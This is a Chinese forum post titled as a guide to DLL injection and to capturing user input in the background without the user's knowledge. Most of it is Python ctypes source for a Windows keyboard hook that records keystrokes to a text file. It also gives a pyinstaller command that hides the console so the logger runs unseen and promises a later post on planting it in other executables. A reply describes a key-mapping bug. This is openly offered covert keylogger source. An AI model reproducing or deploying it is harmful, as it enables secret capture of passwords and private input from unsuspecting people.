猫史档案馆


dll注入和后台获取用户输入(在用户不知道的情况下)

用户:Eternal_BlueEternal_Blue查看:0 回复:1 评论:0 创建时间:2022-08-10T19:01:09


源码:

import sys,os
from ctypes import *
from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
with open(r"./type.txt","w") as s1:

    class KBDLLHOOKSTRUCT(Structure):
        _fields_ = [
            ('vkCode', DWORD),
            ('scanCode', DWORD),
            ('flags', DWORD),
            ('time', DWORD),
            ('dwExtraInfo', DWORD)]


    def uninstallHookProc(hooked):
        if hooked is None:
            return
        user32.UnhookWindowsHookEx(hooked)
        hooked = None


    def hookProc(nCode, wParam, lParam):
        if nCode < 0:
            return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
        else:
            if wParam == 256:
                if 162 == lParam.contents.value:
                    #print("Ctrl pressed, call Hook uninstall()")
                    uninstallHookProc(hooked)
                    #print("you can exit ! ")
                    s1.close()
                    #sys.exit(0)
                    os._exit(0)
                capsLock = user32.GetKeyState(20)
                # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
                if lParam.contents.value==13:
                    s2 = "\n"
                    s1.write(s2)#print
                    #print(s2)
                elif capsLock:
                    s3 = chr(lParam.contents.value)
                    s1.write(s3)#print
                    #print(s3)
                else:
                    try:
                        s4 = chr(lParam.contents.value+32)
                        s1.write(s4)#print ,end=""
                        #print(s4)
                    except UnicodeEncodeError:
                        pass
        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)


    def startKeyLog():
        msg = MSG()
        user32.GetMessageA(byref(msg), 0, 0, 0)


    def installHookProc(hooked, pointer):
        hooked = user32.SetWindowsHookExA(
            13,
            pointer,
            kernel32.GetModuleHandleW(),
            0
        )
        if not hooked:
            return False
        return True

    if __name__ == '__main__':
        HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
        pointer = HOOKPROC(hookProc)
        hooked = None
        if installHookProc(hooked, pointer):
            #print("Hook installed")
            try:
                msg = MSG()
                user32.GetMessageA(byref(msg), 0, 0, 0)
            except KeyboardInterrupt as kerror:
                uninstallHookProc(hooked)
                #print("Hook uninstall...")
                s1.close()
        else:
            #print("Hook installed error")
            pass

 

打包代码:(我用的是pyinstaller)

pyinstaller -F -w xxx.py

因为是后台运行,要加-w消除控制台

下篇帖子会讲如何让代码植入到其他的可执行文件中(因为作者还没测试)

#无语


回复

上一页1 页 / 共 1下一页
Eternal_BlueEternal_Blue

由于键盘顺序号编码的问题,用户输入的“1”会被转译成“Q”因为“Q”和“1”的顺序号是一样的,所有数字键都有这个问题,目前作者正在解决,会在评论区公布源码。

点赞0


评论